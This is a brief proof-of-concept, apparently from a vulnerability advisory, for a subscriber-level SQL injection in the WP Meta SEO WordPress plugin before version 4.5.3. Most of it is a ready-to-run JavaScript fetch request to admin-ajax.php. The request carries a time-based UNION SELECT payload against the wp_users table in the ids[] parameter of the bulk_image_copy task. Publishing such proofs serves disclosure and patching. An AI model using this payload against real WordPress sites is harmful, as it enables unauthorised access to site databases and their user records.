WP Meta SEO < 4.5.3 - Subscriber+ SQLi

Run the following js code in your web console on the dashboard as a subscriber:

fetch( 'admin-ajax.php', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body:'action=wpms&wpms_nonce=' + wpms_localize.wpms_nonce + "&task=bulk_image_copy&action_name=img-copy-desc&ids[]=-1) UNION (SELECT null, null, IF(1=1, SLEEP(2), SLEEP(4)) , null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM wp_users)#" } );

This statement delays the request by n*2 seconds, where n is the number of user entries in your wp_users table.